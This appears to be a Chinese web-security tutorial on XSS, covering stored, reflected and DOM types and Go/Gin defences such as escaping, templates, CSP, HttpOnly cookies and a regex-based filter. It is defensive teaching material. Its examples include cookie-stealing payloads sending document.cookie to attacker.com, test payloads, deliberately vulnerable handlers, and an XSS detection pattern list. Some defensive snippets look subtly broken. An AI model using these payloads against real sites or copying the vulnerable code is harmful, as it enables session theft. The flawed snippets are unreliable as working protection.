别着急,坐和放宽
使用社交账号登录
XSS (Cross-Site Scripting) 是一种代码注入攻击,攻击者通过在Web页面中注入恶意脚本,使这些脚本在其他用户的浏览器中执行,从而窃取敏感信息、劫持用户会话或进行其他恶意操作。
为什么叫XSS而不是CSS? 为了避免与层叠样式表(Cascading Style Sheets)混淆。
最危险的类型,恶意脚本被永久存储在服务器上(如数据库、文件系统),每个访问用户都会执行。
攻击流程:
攻击示例:
恶意脚本通过URL参数传递,服务器将其反射回响应页面中,脚本在受害者浏览器中执行。
攻击流程:
脆弱代码示例:
攻击完全发生在客户端,恶意脚本通过修改页面DOM环境来执行,服务器端无法检测。
攻击示例:
永远不要信任用户输入,对所有输入进行严格验证:
使用示例:
根据上下文使用正确的编码方式:
在模板中使用安全编码:
CSP是一个额外的安全层,用于检测和缓解某些类型的攻击,包括XSS和数据注入攻击。
Gin框架实现CSP:
CSP指令说明:
| 指令 | 说明 | 示例 |
|---|---|---|
default-src | 默认策略 | 'self' 只允许同源 |
script-src | JavaScript来源 | 'self' https://cdn.example.com |
style-src | CSS来源 | 'self' 'unsafe-inline' |
img-src | 图片来源 | 'self' https: data: |
connect-src | AJAX/WebSocket来源 | 'self' https://api.example.com |
frame-ancestors | 可嵌入此页面的源 | 'none' 禁止被iframe嵌入 |
防止JavaScript访问敏感Cookie:
在前端避免使用危险的API:
使用WAF检测和阻止XSS攻击:
防护清单:
核心防护原则:
XSS攻击是Web应用面临的最普遍威胁之一,但通过多层防御策略可以有效防护:
记住: XSS防护不是单一措施,而是多层防御的组合。每一层防护都可能被绕过,但多层组合能大大提高攻击难度。
1. 攻击者在评论区提交: <script>alert('XSS')</script>
2. 服务器未过滤直接存入数据库
3. 其他用户访问该页面时,脚本从数据库读取并执行
4. 攻击者可窃取所有访问用户的Cookie、会话信息
<!-- 攻击者提交的恶意评论 -->
<script>
// Steal cookies and send to attacker's server
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
<!-- 或使用img标签隐蔽攻击 -->
<img src="x" onerror="fetch('https://attacker.com/steal?data=' + document.cookie)">
1. 攻击者构造恶意URL:
https://example.com/search?q=<script>alert('XSS')</script>
2. 受害者点击链接(可能通过钓鱼邮件诱导)
3. 服务器返回页面: "搜索结果: <script>alert('XSS')</script>"
4. 脚本在受害者浏览器执行
// VULNERABLE CODE
func Search(c *gin.Context) {
query := c.Query("q") // Get user input directly
// Directly embed user input in HTML - DANGEROUS!
html := fmt.Sprintf(`
<html>
<body>
<h1>Search results for: %s</h1>
</body>
</html>
`, query)
c.Data(200, "text/html; charset=utf-8", []byte(html))
}
<!-- Vulnerable JavaScript code -->
<script>
// Get URL parameter
const urlParams = new URLSearchParams(window.location.search);
const username = urlParams.get('name');
// Directly insert into DOM - DANGEROUS!
document.getElementById('welcome').innerHTML = 'Welcome, ' + username;
</script>
<!-- Malicious URL -->
https://example.com/profile?name=<img src=x onerror=alert('XSS')>
package validator
import (
"regexp"
"strings"
"html"
)
// SanitizeInput removes potentially dangerous characters
func SanitizeInput(input string) string {
// Remove null bytes
input = strings.ReplaceAll(input, "\x00", "")
// HTML escape
input = html.EscapeString(input)
return input
}
// ValidateUsername allows only alphanumeric and underscore
func ValidateUsername(username string) bool {
match, _ := regexp.MatchString("^[a-zA-Z0-9_]{3,20}$", username)
return match
}
// ValidateEmail validates email format
func ValidateEmail(email string) bool {
match, _ := regexp.MatchString(`^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$`, email)
return match
}
// RemoveHTMLTags strips all HTML tags
func RemoveHTMLTags(input string) string {
re := regexp.MustCompile(`<[^>]*>`)
return re.ReplaceAllString(input, "")
}
// Middleware for input sanitization
func SanitizeMiddleware() gin.HandlerFunc {
return func(c *gin.Context) {
// Sanitize query parameters
for key, values := range c.Request.URL.Query() {
for i, value := range values {
values[i] = SanitizeInput(value)
}
}
// Sanitize form data
if c.Request.Method == "POST" || c.Request.Method == "PUT" {
c.Request.ParseForm()
for key, values := range c.Request.PostForm {
for i, value := range values {
values[i] = SanitizeInput(value)
}
}
}
c.Next()
}
}
func CreateComment(c *gin.Context) {
var req struct {
Content string `json:"content" binding:"required,max=500"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(400, gin.H{"error": "Invalid input"})
return
}
// Sanitize and validate
sanitized := validator.RemoveHTMLTags(req.Content)
sanitized = validator.SanitizeInput(sanitized)
if len(sanitized) == 0 {
c.JSON(400, gin.H{"error": "Content cannot be empty"})
return
}
// Save to database
comment := Comment{Content: sanitized}
db.Create(&comment)
c.JSON(200, gin.H{"message": "Comment created successfully"})
}
package encoder
import (
"html"
"encoding/json"
"net/url"
"strings"
)
// HTMLEncode encodes string for safe embedding in HTML
func HTMLEncode(s string) string {
return html.EscapeString(s)
}
// JSEncode encodes string for safe embedding in JavaScript
func JSEncode(s string) string {
// Escape special characters for JavaScript context
replacements := map[string]string{
`\`: `\\`,
`"`: `\"`,
`'`: `\'`,
"\n": `\n`,
"\r": `\r`,
"\t": `\t`,
"<": `\u003c`,
">": `\u003e`,
}
for old, new := range replacements {
s = strings.ReplaceAll(s, old, new)
}
return s
}
// URLEncode encodes string for safe use in URLs
func URLEncode(s string) string {
return url.QueryEscape(s)
}
// JSONEncode safely encodes data to JSON
func JSONEncode(data interface{}) (string, error) {
bytes, err := json.Marshal(data)
if err != nil {
return "", err
}
return string(bytes), nil
}
import (
"html/template"
"github.com/gin-gonic/gin"
)
func RenderComment(c *gin.Context) {
comment := getCommentFromDB()
// Use html/template package which auto-escapes by default
tmpl := template.Must(template.New("comment").Parse(`
<div class="comment">
<p>{{.Content}}</p>
<span>By: {{.Author}}</span>
</div>
`))
c.Header("Content-Type", "text/html; charset=utf-8")
tmpl.Execute(c.Writer, comment)
}
func SecurityHeaders() gin.HandlerFunc {
return func(c *gin.Context) {
// Content Security Policy
csp := "default-src 'self'; " +
"script-src 'self' https://trustedscripts.example.com; " +
"style-src 'self' 'unsafe-inline' https://trustedstyles.example.com; " +
"img-src 'self' https: data:; " +
"font-src 'self' https://fonts.gstatic.com; " +
"connect-src 'self' https://api.example.com; " +
"frame-ancestors 'none'; " +
"base-uri 'self'; " +
"form-action 'self'"
c.Header("Content-Security-Policy", csp)
// Additional security headers
c.Header("X-Content-Type-Options", "nosniff")
c.Header("X-Frame-Options", "DENY")
c.Header("X-XSS-Protection", "1; mode=block")
c.Header("Referrer-Policy", "strict-origin-when-cross-origin")
c.Header("Permissions-Policy", "geolocation=(), microphone=(), camera=()")
c.Next()
}
}
func main() {
r := gin.Default()
r.Use(SecurityHeaders())
// ... routes ...
r.Run(":8080")
}
func SetAuthCookie(c *gin.Context, token string) {
c.SetCookie(
"auth_token", // name
token, // value
3600, // maxAge (1 hour)
"/", // path
"", // domain (empty = current domain)
true, // secure (HTTPS only)
true, // httpOnly (cannot be accessed by JavaScript)
)
c.SetSameSite(http.SameSiteStrictMode)
}
// Even if XSS exists, attacker cannot steal this cookie via document.cookie
// ❌ DANGEROUS - Never use these
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
eval(userInput);
// ✅ SAFE - Use these instead
element.textContent = userInput; // Automatically escapes
element.setAttribute('data-user', userInput);
// ✅ SAFE - Create elements programmatically
const div = document.createElement('div');
div.textContent = userInput;
document.body.appendChild(div);
// ✅ SAFE - Use modern frameworks (React, Vue, Angular)
// They automatically escape output by default
package waf
import (
"regexp"
"strings"
"bytes"
"io"
"github.com/gin-gonic/gin"
)
var xssPatterns = []*regexp.Regexp{
regexp.MustCompile(`(?i)<script[^>]*>.*?</script>`),
regexp.MustCompile(`(?i)<iframe[^>]*>.*?</iframe>`),
regexp.MustCompile(`(?i)on\w+\s*=`), // Event handlers like onclick=
regexp.MustCompile(`(?i)javascript:`),
regexp.MustCompile(`(?i)<img[^>]+src[^>]*=.*?onerror`),
regexp.MustCompile(`(?i)eval\s*\(`),
regexp.MustCompile(`(?i)expression\s*\(`),
}
func WAFMiddleware() gin.HandlerFunc {
return func(c *gin.Context) {
// Check query parameters
for _, values := range c.Request.URL.Query() {
for _, value := range values {
if containsXSS(value) {
c.JSON(400, gin.H{"error": "Potential XSS detected"})
c.Abort()
return
}
}
}
// Check POST body if applicable
if c.Request.Method == "POST" || c.Request.Method == "PUT" {
body, _ := c.GetRawData()
if containsXSS(string(body)) {
c.JSON(400, gin.H{"error": "Potential XSS detected in request body"})
c.Abort()
return
}
// Restore body for further processing
c.Request.Body = io.NopCloser(bytes.NewBuffer(body))
}
c.Next()
}
}
func containsXSS(input string) bool {
input = strings.ToLower(input)
for _, pattern := range xssPatterns {
if pattern.MatchString(input) {
return true
}
}
return false
}
package comment
import (
"github.com/gin-gonic/gin"
"html"
"regexp"
"strings"
"time"
)
type Comment struct {
ID uint `json:"id"`
UserID uint `json:"user_id"`
Content string `json:"content"`
CreatedAt time.Time `json:"created_at"`
}
// CreateComment with full XSS protection
func CreateComment(c *gin.Context) {
var req struct {
Content string `json:"content" binding:"required,max=500"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(400, gin.H{"error": "Invalid input"})
return
}
// 1. Remove HTML tags
content := stripHTMLTags(req.Content)
// 2. HTML escape
content = html.EscapeString(content)
// 3. Check for suspicious patterns
if containsSuspiciousPatterns(content) {
c.JSON(400, gin.H{"error": "Content contains suspicious patterns"})
return
}
// 4. Limit length
if len(content) > 500 {
c.JSON(400, gin.H{"error": "Content too long"})
return
}
// Save to database
userID, _ := c.Get("userID")
comment := Comment{
UserID: userID.(uint),
Content: content,
}
db.Create(&comment)
c.JSON(200, gin.H{
"message": "Comment created successfully",
"comment": comment,
})
}
func stripHTMLTags(s string) string {
re := regexp.MustCompile(`<[^>]*>`)
return re.ReplaceAllString(s, "")
}
func containsSuspiciousPatterns(s string) bool {
suspicious := []string{"javascript:", "onerror=", "onclick=", "<script"}
for _, pattern := range suspicious {
if strings.Contains(strings.ToLower(s), pattern) {
return true
}
}
return false
}
func Search(c *gin.Context) {
query := c.Query("q")
// Sanitize search query
query = html.EscapeString(query)
query = strings.TrimSpace(query)
if len(query) == 0 {
c.JSON(400, gin.H{"error": "Empty search query"})
return
}
// Limit query length
if len(query) > 100 {
query = query[:100]
}
// Perform search
var results []Product
db.Where("name LIKE ?", "%"+query+"%").Find(&results)
// Return results with escaped query
c.JSON(200, gin.H{
"query": query,
"results": results,
})
}